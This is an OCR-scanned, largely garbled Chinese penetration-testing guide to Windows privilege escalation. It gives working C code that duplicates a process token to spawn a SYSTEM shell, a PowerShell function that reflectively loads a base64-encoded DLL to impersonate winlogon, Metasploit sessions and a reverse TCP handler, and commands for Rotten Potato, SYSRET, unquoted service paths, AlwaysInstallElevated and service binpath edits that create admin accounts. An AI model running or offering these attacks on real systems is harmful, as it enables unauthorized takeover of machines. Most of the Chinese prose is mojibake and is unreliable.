15, fEBILLFM, FAT—RMITMAMRXENS, MNMAESE BIZKFENK
BREBE ). REEBIABRIASHNTARR, BAMRMEBENIBEES K,
FIEEM LEER, ERESUTHR, EMMERESEAERE, BHRARNIC
122 sid, gid XERAFPMAFANITER . RIF token RURER, i, MEE
B, BTREEMMNE, BITFIUN#—SEEZ LML, BREMGHNEERE
BiE—#,

RE, LRRENAREBFEN—1TTE, UAFERMEF T github

HEAEPINERETBRI A FRREARER, BRARESEER: MNEFRANZ

e active directory(AD 17, J&EEIB%, 1)

o krbtgt IKS, REM TEEPEE MG, FRHEEALFEEMEIK

SHBIAE

« BEREFHMBZSESBRATXEMABXEREED 7, XEMMENEX
ARIEIE



s RXENMA—-T&L: whoami /? ZEETHLHNEFMERERKE,
RIFEBPE—T <R — TRMIET .

o Hft cd spREMALR, JLFRIAFRE RARYZ windows7 81 & 10, H
SIHEMRMINZERS R LEGITH,

SEZRHR: access token: https://docs.microsoft.com/zh-
cn/windows/win32/secauthz/access—tokens MEFIEANBEZS] :

https://github.com/I3m0n/pentest_study

12. token_privEsc

T Bthhit: https://github.com/sailay1996/tokenx_privEsc
Bic & metasploit LI 1A metasploit K FRIEIR meterpreter
meterpreter> getsystem

B metasploit

WRIEXT meterpreter BARM, FIN[EILES]—T metasploit 887, XEBEE
SER/R: BERIARR-EZIEMEN Meterpreter thFl 217 BITRE, B
HESESEEEIESIT meterpreter 889, XE2HANTAAR shell B39 7T, R
BEINRANR, HIEEGIT getsystem, BIMMEEHMRIESHMITT .

B2 T meterpreter By getsystem A EASN, EEFING? B, ETX.

C:\temp> Tokenvator.exe getsystem cmd.exe

BRS5 22 L% —T Tokenvator.exe SR EIHIIX TR IRS BARARA S S HIHH
R BARSRINE, CETMSIBERNARTET, #—5E5E5 Tt
ft,

Tokenvator.exe T https://github.com/0xbadjuju/Tokenvator/releases



$JFF Tokenvator.exe 1517 help *

£ Tokenvator.exe X4 KE C:\temp Fi#H—H L0

C:\temp> Tokenvator.exe getsystem cmd.exe

= /B8

incognito.exe W2 TR, fABEIRISE Tokenvator.exe, —EHMSIAENZ!
ncognito.exe HJ, getsystem.py BIZAEIE, 2/, 7T cmd.exe, Hfttexe T
BHBEMEINETE, F—FTRUNENE—KEBEHIARE—TILE.

REIE, XBXE—, TJBTER, BRIEZSEER: SRFEETENME
Windows hraH 20 ERE#NFE RER CTFIRET A github F AR,
releases, T AICAEASTNAY & T1IE

SEHHR: https://github.com/sailay1996/tokenx_privEsc BEXF T EE-5
SBIEMEXAY Meterpreter: https://paper.seebug.org/29/ BFIKE T 22 IMFAAE
Windows kR H) 20 FERIEXNFIE:
https://thehackernews.com/2019/08/ctfmon-windows—vulnerabilities.html
REHI, CTFHETIA: https://github.com/taviso/ctftool

13.%7HL Token To GetSystem:

https://0x00-0x00.github.io/research/2018/10/17/Windows—APl-and-

Impersonation—Part1.html

#finclude <windows.h>

#finclude <stdio.h>

using namespace std;

HANDLE GetAccessToken(DWORD pid)
{
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/* Retrieves an access token for a process */
HANDLE currentProcess = {};

HANDLE AccessToken = {};

DWORD LastError;

if (pid == 0)
{
currentProcess = GetCurrentProcess();
}
else
{
currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TR
UE, pid);
if (lcurrentProcess)
{
LastError = GetlLastError();
wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
return (HANDLE)NULL;
}
}

if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY | TOKEN_
DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &AccessToken))

{
LastError = GetLastError();
wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
return (HANDLE)NULL;

1

return AccessToken;

int wmain(int argc, WCHAR **argv)



DWORD LastError;

/* Argument Check */
if (argc < 2)
{
wprintf(L"Usage: %ls <PID>\n", argv[0]);

return 1;

/* Process ID definition */

DWORD pid;

pid = _wtoi(argvl1]);

if ((pid == NULL) || (pid == 0)) return 1;

wprintf(L"[+] Pid Chosen: %d\n", pid);

// Retrieves the remote process token.

HANDLE pToken = GetAccessToken( pid);

//These are required to call DuplicateTokenEx.
SECURITY_IMPERSONATION_LEVEL selmpersonatelLevel = Securitylmperson
ation;
TOKEN_TYPE tokenType = TokenPrimary;
HANDLE pNewToken = new HANDLE;
if (\DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, selmpersonateL
evel, tokenType, &pNewToken))
{
DWORD LastError = GetlLastError();
wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastErr

or);



return 1;
}
wprintf(L"Process token has been duplicated.\n");
if (\DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, selmpersonateL
evel, tokenType, &pNewToken))

{
DWORD LastError = GetlLastError();
wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastErr
or);
return 1;
}

wprintf(L"Process token has been duplicated.\n");

/* Starts a new process with SYSTEM token */
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
BOOL ret;
ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_O
NLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NUL
L, NULL, &si, &pi);
if (Iret)
{
DWORD lastError;
lastError = GetLastError();
wprintf(L"CreateProcessWithTokenW: %d\n", lastError);

return 1;

}
M ERE R FRIH,



14.Windows API FI#i#1(T1134)

function Get-System
{
if([System.Threading.Thread]::CurrentThread.GetApartmentState() —ne 'STA')
{
Write-Output "This powershell shell is not in STA mode!";
return ;
}
if(—not ([System.Management.Automation.PSTypeName]"zc0O0l.ImpersonationTok
en").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("TVgQAAMAAAAEA
AAA//8AALgGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAgAAAAA4TugdAtANNIbgBTMOhVGhpcyBwem9necmFtIGNhbm5vdCBiZSByd
W49aW4gRESTIGTVZGUUDQOKJAAAAAAAAABQRQAATAEDAGTDJOgAAAAAAAAAA
OAAIALATAAABYAAAAGAAAAAAAALIQAAAAGAAAAQAAAAAAAEAAGAAAAAGAABA
AAAAAAAAAGAAAAAAAAAACAAAAAAGAAAAAAAAMAYIUAABAAABAAAAAAEAAAE
AAAAAAAABAAAAAAAAAAAAAAAGEOAABPAAAAAEAAANGDAAAAAAAAAAAAAAAA
AAAAAAAAAGAAAAWAAACOMWAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgGAAAAAAA
AAAAAAACS50ZXhOAAAAVBQAAAAGAAAAFGAAAAIAAAAAAAAAAAAAAAAAACAAAG
AucnNyYwWAAANgDAAAAQAAAAAQAAAAYAAAAAAAAAAAAAAAAAABAAABALNJIbG
9JAAAMAAAAAGAAAAACAAAAHAAAAAAAAAAAAAAAAAAAQAAAQIAAAAAAAAAAA
AAAAAAAAACVNAAAAAAAAEGAAAACAAUARCMAACQQAAABAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
MwAWATAAAAAQAAEQADFgJVEAAACIgCAAAGCIisABioAEZADANAAAAACAAARABI
B/hUEAAACKAgAAAYMCH4RAAAKKBIAAAOTBREFLAGWEWY4pQAAAANh+CQAABBI
DKAQAAAYW/gETBXEHLAgWEWY 4hwAAABQCEgEOAQAABhb+ARMIEQgsBRYTBIt
wEgn+FQYAAAISCReNAWAAANOeAAAEEgI+HQAABHOCAAAEEgkXTRSAAAQRCRME
EQR7HgAABBaPAWAAAGdIEQAABBEEex4AAAQWWMAAAIY fRIAAAQJEgQSACGJA
AAGFv4BEwWORCiwFFhMGKwUGEwWYrABEGKhMwBgDGAAAAAWAAEQASAP4VBAAA
AiglIAAAGCwd+CQAABH4LAAAEYBICKAQAAAYW/gETBXEHLAgQWEWg4kAAAABQC
EgACAQAABhb+ARMJEQksBRYTCCtSEgr+FQMAAAISCgZ9EQAABBIKGHOSAAAEE



QoNEgv+FQUAAAISCxd9GQAABBILF40DAAACTROAAAQRCXMEEQR7GgAABBY JpAUOpCAQABAAAAAAAMAAAACIQUMC4zMDMxOQAAAAAFAGWAAADQBQAAI34AAD
WGAAC8BWAAITNOcmMIuZ3MAAAAA+ADAAAQAAAAIVVMA/AOAABAAAAAIRTVIRAAA
AAWOAAAYAGAAIOJsb2IAAAAAAAAAAGAAAVCOANQICgAAAPOBMWAWAAABAAAAF
gAAAACAAAASAAAADWAAABAAAAAUAAAAEGAAAABAAAAFAAAABAAAAAIAAAAIAA
AAAQAAAAIAAAAFAAAAAQAAAAAANGUBAAAAAAAGACAEFQYGAJSEFQYGAFMDSw
YPAJOGAAAGAHSDIAYGAAIEIAYGAOMDIAYGAIIEIAYGAE4EIAYGAGCEIAYGAJIDIAY
GAGcDXgYGAEUDXgYGAMYDIAY GAKOD4QQGAHAHWAUKAHYHSWYGAACDWAUG
ABBEWAUGAFS8FWAUGAEQGWAUGABAFXgYAAAAAAQAAAAAAAQABAAEAEACUB
QoFQQABAAEACgEQADQBAABJABEADWAKARAAhAAAAEKAFWAPAAOBEAALAQAAgAAAQDOAgAAAGCCBQAgAAAAAAAAAQDCAgAgAgC/BgAAAWAPAWAABAAJBWAA
BQAbAwWIABgD1BgAAAQDFBQAAAGCsBgIAAWCFBWAAAQCLAgAAAQCLAgAAAQBG
AgkANwWYBABEANwWY GABKANWYKACKANWY QADEANWYQADKANWYQAEEANWYQA
EKANwWYQAFEANWY QAFKANWY QAGEANWYVAGKANWY QAHEANWY QAHKANWY QAJK
ANwYGAIKANwIeAKKAMgYzAKkArgc2ALEA2gRSAIEANWY GAAgABABYAAKATABYAA
kAUAB3AAKAVABSAAKAWACBAAKAgACGAAKAhRABYAAKAIAB3AAKAJACLAAKAKACQ
AAKAIACVAAKAMACaAAKANACTAAKAOACKAAKAPACPAAKAGACUAAKArACZAAKASAC
4ACAACWAPASAAEWAYASAAGWBRAS4AIWBaAS4AKWBIAS4AAMWBIAS4AOWB1AS4A
QwBaAS4ASWB7AS4AUWBIASAAWWBIAS4AYWCTAS4AawCOAS4AcwDKAeMAewB
yABMAWAAIAMAAKQDAADQAVQABALOAGgAIADWAXgACBSKFAAEDALKEAQBAAQU
AYAcCAEABCQCOBQEAAAELAHMFAQBAAQOAZAUBAEABDWDUBgEAQAERAGWHA
gBAARMA+WQBAASAAAABAAAAAAAAAAAAAAAAANSAAAAEAAAAAAAAAAAAAABDP
ACKCAAAAAAQAAAAAAAAAAAAAAGKAWAUAAAAAAWACAAQAAGAFAAIABGACAAC]jb
3JsaWIAcHJvYwWBNZXRFSWQACHJVY2VzcOIkAFZpcnRTYWXNZW1venlSZWFKAENyZ
WF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQACGIKAGxw THVpZABFbmFibGV
Qcml2aWxIZ2UARHVwWbGIjYXRISGFuZGXxIAER1cGxpY2F0ZVRva2VuSGFuZGxIAEV4a
XNOaW5snVGIrZW5SIYW5kbGUACEhhbmRsZQBQcm9jZXNzSGFuZGxIAGJJbmhlcmIO
SGFuZGxIAGxwU3IzdGVtTmFtZQBscEShbWUAVmMFsdWVUeXBIAFRIcm1pbmF0ZQB
QcmV2aW91cINOYXRIAESIAINOYXRIAFZpecnRTYWXNZW1venIXeml0ZQBHAWIKQXRO
cmlidXRIAERIYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmIzaWJsZUFOdHJpYnNVOZQBBc



3NIbWJseVRpdGxIQXROcmlidXRIAEFzc2VtYmx5VHJIhZGVtY XJrQXROcmlidXRIAFRhcAEAAAQAAIeAQECAgYIAgYJAWYREAQGHREMAWYRHAgAAWIODhAREACAAxgRHAII
BwWACGBJFERWHAAMCGAKQGACAAwIYCBAYDgAGAhgCEBEUCRARFBAJAWAAGAK
AAWIYEBEYEAIEAAECDgQAAQIIAWAAAQYBAAGAAAAAABABAAEAVAIWV3JhcESvbk
V4Y2VwdGlvbIRocm93cwEIAQAHAQAAAAAaAQAVSWIwZXJzb25hdGIvbIRva2VuREX
MAAAFAQAAAAAXAQASQ29weXJpZ2hOIMKpICAYMDE4AAAPpAQAKZDUzNGMINTgt



NDNjYyO0ZGEyLWE3NTUtMDYyYMTM1ZDA2NzE4AAAAMAQAHMS4wWLjAUMAAATQEA
HC50RVRGcmFtZXdvemssVmVyc2Ivbj12NC41LjIBAFQOFEZyYW11d29yaORpc3BsYXI
OYWI1IFC50RVQgRNJhbWV3b3JrIDQUNS4yAAAAAPISNIQAAAAAAGAAAIEAAADgGM
WAA4BUAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSUORTIWWWQJTN
zOWCcHIOfEy1IZWEAAABDOIXxVc2VycixhbmRyZVxzb3VyY2VeecmVwb3NcVGOrZW5Jb
XBlenNvbmFOaW9uXElItcGVyc29uYXRpb25Ub2tIbkRMTFxvYmpcRGVidWdcSW1wZX
Jzb25hdGlvbIRva2VuREXMLNBKYgCJNAAAAAAAAAAAAACINAAAACAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAITQAAAAAAAAAAAAAAABTQ29YRGxsTWFpbgBtc2NvemV
ILmRsSbAAAAAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAWAACAAAAAAAAAAAAA
AAAAAAABAAAAAABIAAAAWEAAAHWDAAAAAAAAAAAAAHWDNAAAAFY AUWBTAFY
ARQBSAFMASQBPAE4AXWBJAE4ARgBPAAAAAACIOBO/+AAABAAAAAQAAAAAAAA
ABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVGBhA
HIARgBpAGWAZQBJAG4AZgBvAAAAAAAKAAQAAABUAHIAY QBUAHMADABhAHQAa
QBVAG4AAAAAAAAASATCAgAAAQBTAHQACGBPAGAAZWBGAGKADBABIAEKAbgBMA
GB8AAACAAgAAAQAWADAAMAAWADAANABIADAAAAAaAAEAAQBDAGBAbQBtAGUA
bgBOAHMAAAAAAAAAIQABAAEAQWBVAGOACABhAG4AeQBOAGEAbQBIAAAAAAAA
AAAAVAAWAAEARgBpAGWAZQBEAGUACWBjAHIAaQBWAHQAaQBVAG4AAAAAAEK
AbQBWAGUAcgBzAG8AbgBhAHQAaQBVAG4AVABVAGSAZQBUAEQATABMAAAAMA
AIAAEARgBpAGWAZQBWAGUAcgBzAGKAbwBUAAAAAAAXACAAMAAUADAALGAWAA
AAVAAaAAEASQBUAHQAZQBYAG4AYQBsAE4AYQBtAGUAAABJAGOACABIAHIAcwB
VAG4AYQBOAGKAbwBUAFQAbwBrAGUAbgBEAEWATAAUAGQADBABSAAAASAASAAE
ATABIAGCAYQBsAEMAbwBwWAHKAcgBpAGCcAaABOAAAAQWBVAHAAeQBYAGKAZWB
0AHQAIACpACAAIAAYADAAMQA4AAAAKgABAAEATABIAGCAYQBsAFQACgBhAGQA
ZQBtAGEAcgBrAHMAAAAAAAAAAABCABOAAQBPAHIAaQBNAGKAbgBhAGWARgBPA



GWAZQBUAGEAbQBIAAAASQBtAHAAZQBYAHMAbwBUAGEAJABPAG8AbgBUAG8Aa
WBIAG4ARABMAEWALgBKkAGWALAAAAEWAFgABAFAACgBVAGQAJQBJAHQATgBhA

GOAZQAAAAAASQBtAHAAZQBYAHMAbwBUAGEAdABpAG8AbgBUAG8AawBIAG4AR
ABMAEWAAAAOAAGAAQBQAHIAbwBKAHUAYWBOAFYAZQBYAHMAaQBVAG4AAAAX
AC4AMAAUADAALgAWAAAAOAAIAAEAQQBzZAHMAZQBtAGIAbABSACAAVGBIAHIAC

WBpAGBAbgAAADEALgAWACAAMAAUADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAAMAAAAUDQAAAAAAAAAAAA
AAAAAAAA")) | Out-Null

Write—Output "DLL has been reflected."

if(~not [zcOOlImpersonationToken]::ImpersonateProcessToken((Get-Process Win
logon).Id))
{

Write—Output "Could not Impersonate Token! Maybe you are not Local Admin?

return;

}

Write-Output "We are: $([Environment]::Username)"



| BN S5 Windows PowerShell

ft Corporation. f : nr:‘ﬁ'ﬁ

[Envwironment] : :Uzername

Import—HMaodu
1 reflected.
N

demorn:

15.ALPC (T1068)

https://github.com/realoriginal/alpc-diaghub

(=]
(=]

111.d11. 2. xtf

should
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D111, dl1

|Privi Password database Commands

Command Description

Dumps the contents of the SAM database

Priv: Timestomp Commands

Command Description
timestomp Manipulate file MACE attributes
/meterpreter > getuid »
| Server username: NT AUTHORITY\SYSTEM

/meterpreter > exit

[#] Shutting down Meterpreter...

Reason: User

[#] 192.168.10.235 - Meterpreter session 1 clost
\msf5 exploit(multi/handler) > run

[+] Started reverse TCP handler on 192.168.18.125:4444

\meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
>



https://demonsec666.oss-cn-qingdao.aliyuncs.com/45C5EC569D65D5FEEAFAB801F2DD2749.jpg
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16. 25K HE

ARIEERINA QA EIRANKS,, XEWRFESIEINBEE, EEEHSNgE=
B, ERBF&E R AIAE,

ARBERINBEER S, TERAPHI MR XL EHRE, FKRANGR,
IginHIgs, HEBR, TAKRER? BEEXGRSERR: TEHEHIZREN LEIES
=X HE

F3

FF RIS HIRNHEZE R, H—T groups.xml X, 2 xml XH#EE,
SRENE 14 cpassword BB, IEXMEAS— 1A UBZENTEH:

https://www.sec—1.com/blog/wp-
content/uploads/2015/05/gp3finder_v4.0.zip

BB — Ruby BIAth ] AR F##2% cpassword (B, BMBAnIAEIEN KRS E
HE: AR EIRIN

EBh metasploit L A] LARZZE, powersploit G138, &id metasploit iG1T
powershell GRIBNMBERERDE—Hr0EIE, XLEMTHESEENH: 4
RIS BRI

ZEGN: TSR LB Z K.
https://blog.csdn.net/SouthWind0/article/details/80412890 4HRAR & I%EIN:
https://pentestlab.blog/2017/03/20/group—-policy—preferences/

17445 S R 55 A

£ windows FMEH, BHIRSHEZIMEHRAINITXHNME, ETHRINEHNR
5. WRAPITXHNRBERESES ISP, RFUKMEEMERIE.



B, MRNAERFEFINHAENRZAE2EMS]|SH9IE, windows KR
iﬁ’éﬁz EAELRZN 8TXERFRITE, BRIEMHIIFTRITXE.

INRARSS7E SYSTEM PR Tiz1T, MAIBUEALARERANR, =, M
windows xp £l windows 10 #BXTES T L/ system PR, WREE1T
whoami a3 2 &L A Z system PRI EXT system IXRIRAEHR, BHEIESE
Zirt: M Admin AR EI System YR MIZHIER-EETLR, FHETX
%, AE-BM-22, taIURIMSREXNER.

c  FFA
EMAMBIREN LTRSS, 1RABLEREEESISHBIARS.

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr
/i /v "c:\windows\\" | findstr /i /v """

f#FE: wmic service get, wmic service 1 wmic €2 CMD &<, &rIAD BIME
B /?E8ES L, JREM name,displayname #8214, AES §J\ ., findstr

mLEE, /23RENER., HARHER-EEIR-RS f5—1TFEE—T4AM
R, W2 system BPR TEITHIARSS .

KMEBYAAFPEXTRSMAENEXIEERH, @SREF " SN IR,
icacls "C:\Program Files (x86)\Lenovo"

A A B B E IS RINZ S B AL AT TN . SRS ERN,
windows 3@ @ AP 1R system R FBENX NI HITE,

Metasploit Framework 12T —1M&EIR, AIMEMNEBIRRSIRSFEEAS
RWERS, ERERAS, BTHEIXHEREIRAE S 1HEMNRN B R 435k
F, ERRSHENTERASEILEMER Z#EISEHSEREE, 1F15, 153
BESEGR: A%5| SRS

PowerSploit TE G,



ZZ%R: M Admin X [REI#RE] System XFR:
https://blog.csdn.net/qq_35129925/article/details/85115523 5| SHIARSS
P&12: https://pentestlab.blog/2017/03/09/unquoted-service—path/

18. Always Install Elevated K

BMNOTABRREEMERT XA ZHREER, SEREWRSFZHIFR. FRIE
TANRGAEREKN, ELBMMIRET .

Windows MEIRIHARIKIRE, ATFENAFRERERRSNRAN Microsoft
Windows Installer #2% € (MSI) , XAIAERERFPEELREERSINRA
NARENIMER LI, HEERERASEE% ARG A EIE R THEN
R, EEMEMIZETXMHREE, MMAIMNLRNA, 8 system IR, XEB
AR BERIEN . group policy setting, EIEHIE, SZ2FKTN: BEE
ZEFRBIZE

NRIREAXTEEEE, MNEZENAERE, REETESIRALNR, UER
HXEAREI SYSTEM, #1F, BHEIESE 5 Always Install Elevated ZRHEg

e T\ Always Install Elevated JREE R B FE RIFHNIEEBIA THERNNE
., HBEHI1E— Meterpreter 1%,

BT EMRAIETRIBIAR S Z7E Always Install Elevated ZRH&

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwayslInstall
Elevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstall

Elevated

» {#M Metasploit 3} PowerSploit # ] AR AAXFR 0 R ERIEFFERTTE, AILA
{$F Metasploit 3} PowerSploit, L, BERHIEZSEER: Always

Install Elevated



SE%HK: Always Install Elevated:
https://pentestlab.blog/2017/02/28/always—install-elevated/ Always Install
Elevated ZRHg&: https://docs.microsoft.com/en—
us/windows/win32/msi/alwaysinstallelevated FR B L £ FHRIZE :
https://docs.microsoft.com/en-us/windows/security/threat—
protection/security—policy—settings/how-to-configure—security—policy—

settings

19. 5 #4E (token)

RFTEZD, 1§ Windows RRSBIFANBMATIZITRE —MBRENL 216, MFHRX
MIRSMEAAXZEME—F, ERSAREERHERRIONIR, EE, B
FIAMARSIES SYSTEM IZ1THIRRSSTHRANIR, BAIAARIMEIRS .

e MBRSEMKF (NETWORK SERVICE) ElIA#ZESE (Local system) BIINBRIE
FH

EBEMLTBER, BEMRARBLRIZEBIAT Apache, IS, SQL, MySQL
£RSS, BREE, XIMBSAEEARMRRIGIT. MEUANERSSMDIEIT
#J Apache BRSS.

EXMIFER T, Meterpeter IR AShEFIRINREFMEEARSS, EN Apache 7ELL
WP TET. MNZRZNFE: NT AUTHORITY\NETWORK SERVICE {1898
HNEBENEIRSNR, RBAZEMAFINE: NT AUTHORITY\SYSTEM,

BT BUEEAIMIRSIKF, RARKRERS., HERIENT Authority \
System” Bk fEAMEEIT NTLM #1THEFIIAIE, ELE“NT Authority \
System” kPRI RIS S AT, FLISINARMAATIEE, XA
Rotten Potato (BIZBRE) ., XTEERE, nHESEHRN: EIRE



EPNBIESRENA, BAENBER, ER—1TITHEINXME, IUE
rottenpotato.exe, EESEZHZRHTE: RottenPotato 7£ meterpreter H{E
mo

execute —f rottenpotato.exe —Hc
impersonate_token "NT AUTHORITY\\SYSTEM"
getudi

s RBUEHERBMIEIT NE, NRBRBENEERIFSNRAFIET, HE
ANRRS AR EE Windows B3 30iE 7% (BN SQL Server 7
W), W@ EINEREAKFHNSHERARINE. MENEERGHIE
1789 Apache IR

AR EIB R B 17151T apache BRSS? AILA{EA Metasploit 3 HiE@T MWR

Infosecurity TR, #EZZRBRHFTE: incognito2 XA IA{EH PowerSploit TR

89 Invoke-TokenManipulation IHgE, BFEIESZEEHR: Invoke-

TokenManipulation

M EMTEHSBBRIES EZR: token #1IE

20 N LR B RAUR
windows H, EERFEMEIMBSE, BEIMRPEIEE S T HHIRROH

KtmE: MANLEREFRNZZEE, KREENREA—THE.

XAGEAEREL, MANBRA TRAEELRT, BRRSIMRINEILEN,
BEZENNRARNIZEEE,

BT IXMEC B TRFEHITIRIZFTRIE R RE RE, AIAEN TEMREBZPHEIR
7 LIE1TRIBRSSROE AR

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services



MRITERAPBREN B N AR ZH#HEI X4 EREEMRIN ImagePath”
EE40 2 apache BRBFEXLERNR FizfTHY, el BUGANPRIZFH Bl system, WMRE
Xf Image (Bfg, g, BEELLAFHEN, [RIQTHEIZUE, BUEMIER) SRk
M, FIGENESRZE G R WA Image

exp: HRIM—EMRIN, 3% ImagePath B AFMEEEASNME.

meterpreter > shell

Process 1812 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\pentestlab\Desktop>reg add "HKEY_LOCAL_MACHINE\SYSTEM\Control
Set001\Services\Apache"
/t REG_EXPAND_SZ /v ImagePath /d "C:\xampp\pentestlab2.exe" /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Apache"
/t REG_EXPAND_SZ /v ImagePath /d "C:\xampp\pentestlab2.exe" /f

The operation completed successfully.
ERRSEMEBRNE, BRI system FZIVIR([E meterpreter 21,
A ERRBEERNIRET, BEIEMARSEGR: FALEREMRE

SEZERE: & Image: https://en.wikipedia.org/wiki/Disk_image ANLEHIE
MRANPR: https://pentestlab.blog/2017/03/31/insecure-registry—

permissions/



21.GET SYSRET

BT 43283 AMD # Intel Z[BMIEIMER, LREAITFREERITAZAG
(ring0) . 4N, 1R#E AMD HIEREETE Intel tEH LIGTRIRIFR D HX2E
Wi, HFREE A MERZBRITNR, RLA X2 iSRRI PR30
AREA,

AT Windows AAFENAEREF LB RARIEKIA R, Windows MESZ =
K, B Intel & F LIZ1THY 64 1ARZASHY Windows 2008 #1
Windows 7,

e metasploit

7£ Meterpreter 218, FEHLEBMASR L L sysret Zi#FIXE, AEE
B EMT IR SRR TR TR A,

meterpreter > getuid
meterpreter > getpid

meterpreter > execute —H —f sysret.exe —a "—pid 2348"
e Windows

&, WRAFEEXRZNYIEENPRIET RDP, MATBAER AT ETEHR
FHREAPR, 13REEEEITHAIE R EARX PID RO%IXR

whoami

tasklist
2.explorer.exe A FEHIERLE

3R —pid SEUTIT M sysret.ext, ERGIAZRITERIF shellcode
TEIRZA,

sysret.exe —pid 1596

BRRERLRTN, APRBHRE system



SEHH: sysret: https://github.com/shjalayeri/sysret Z4%/R SYSRET:
https://pentestlab.blog/2017/06/14/intel-sysret/ ¥&E#{&, bugcrowd X
% https://www.bugcrowd.com/hackers/bugcrowd-university/

hackerOne101 BIZIIIEX BT EIK, XEMAZTEBHT . MEMREENATEI
#HEXTE, BIEHER,

20. U FRIEFT 20 HRATER]
Windows FUSRIETHE R LK) Windows FUFRIE T+
o TEXWRHR: X, BE, RS, EMERIRN, SREHE.

e discretionary access control list (DACL) Access Control Entries
(ACE)

ot o

e access token: FIFZE(EEMSB2:, SID, groups, privileges, #fE [
FEE AR,

o BHITEMIRH: LEINEE post-vista, DEMETEMERS], RIANRN
rIfEE
e windows SEEMER: S-1-16-0x1000 (+#FlS 4096) , SEHEN:

Windows #{F RF PR R AR EARIRRT

o TEIFiuh EERE SKYNET\Luigi via $method Luigi BFRFE—1"&/\VMYR, 3%
BAMIR, EFTIETRE, FAXD exp BEEEITEILEF,

o AL BREINNER, BEEXY, FHexp, B ALENEE/NA
(AHhARIRIECEF : 558R3S DACLs, 3514 DACLs,
AlwayslnstallElevated, DLLs)

o Hftith5? : Luigi 2BAFAE, EERPE 1 TERAF



* powerview:
github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerVie

w.ps1 find—LocalAdminAccess

cd Desktop

powershell —exec bypass
import—module .\powerview.ps1
Find-LocalAdminAccess

net localgroup administrators
e creds in files X{FHRYEIE:

C:\users\luigi\Desktop\passwords.xIs
C:\>dir /b /s web.config
C:\>dir /b /s unattend.xml
C:\>dir /b /s sysprep.inf
C:\>dir /b /s sysprep.xml
C:\>dir /b /s *pass*
GPP
* \\mushroomkindgom\SYSVOL\???

windows Eop Buggzz: FRIESZE 54 {24 Exchange Online Protection
(EOP)

o  MEEXKHWT metasploit AR MELR
— post/windows/gather/enum_patches
— post/multi/recon/localexploitsuggester
e Pwn

ms13-053

sessions —i 12

sessions —i 13



getuid

getprivs

background

use exploit/windows/local/ppr_flatten_rec
set session 13

set Iport 443

exploit

getuid

getprivs

e weak service permissions 55iRBZINR MREF+NT TEE4, AIUFEEBF

MRIBBECE, ASHRE system NFRIZTT, BEIMRNFRPNGLEE

A< EBE

Ehtis

rEEikiz, BREFREERF, /A, T%?%—Iﬁﬁﬁﬁo IREIRBIERIAR A

FEE, GARSERSE=RS, XRZEXP 2EIRSHIG]F

Accesschk.exe —qwcu "Authenticated Users" *
Accesschk.exe —qwcu "Users" *

Accesschk.exe —qwcu "Everyone" *

BATRI ARIEARSBECENS? BATRI ARIEE 8RB Z# HI 34?2
Sc gc codemeter.exe

net user
net user bob bObbytables1 /add
sc config codemeter.exe binpath= "net user bowser bOws3r! /add"

sc start codemeter.exe

sc config codemeter.exe binpath= "net localgroup administrators bowser /e"

B2 —T/e 28, A2 E
sc start codemeter.exe
net user

net user bowser

e weak file permissions 55344 R



look for writeable files S AIERINX Y * autoruns? BnlisiT
* scheduled tasks? 1t¥{ES XEREEBIRNOXE, KB =G5 NBERFE,

Accesschk.exe —qwsu "Authenticated Users" c:\
Accesschk.exe —gwsu "Users" c:\

Accesschk.exe —qwsu "Everyone" c:\

main app binary writeable users RIS B I N _##FEF autorun on
login ZEFEAYE&1E1T nah bro, UAC UAC AEZEINR LR EMHPRENE UAC
ERZEHEZR admin logs in BIE G EfE backdoored binary auto—executes H

SRITHEI] %) code execution at medium IL as admin (UAC)

e AlwayslinstallElevated 5Kz 32T
XUTFBELRIMABEZN—MRTR, REREDIXIERE

ARBIREEREKE (msi) ZFHE, (£ system Z3& MSI X4 £/ CMD
we, BEIMRESEXINEE

reg query HKLM (8¢ HKCU) \SOFTWAR\Policies\Microsoft\Windows\Installer /v A

lwayslInstallElevated
msf

session —i 4

getuid

shell

reg query HKLM (8¢ HKCU) \SOFTWAR\Policies\Microsoft\Windows\Installer /v A
lwayslInstallElevated

exit

exit

background

use exploit/windows/local/always_install_elevated

set session 4

set Iport 443



exploit

getuid
e DLL Hijacking

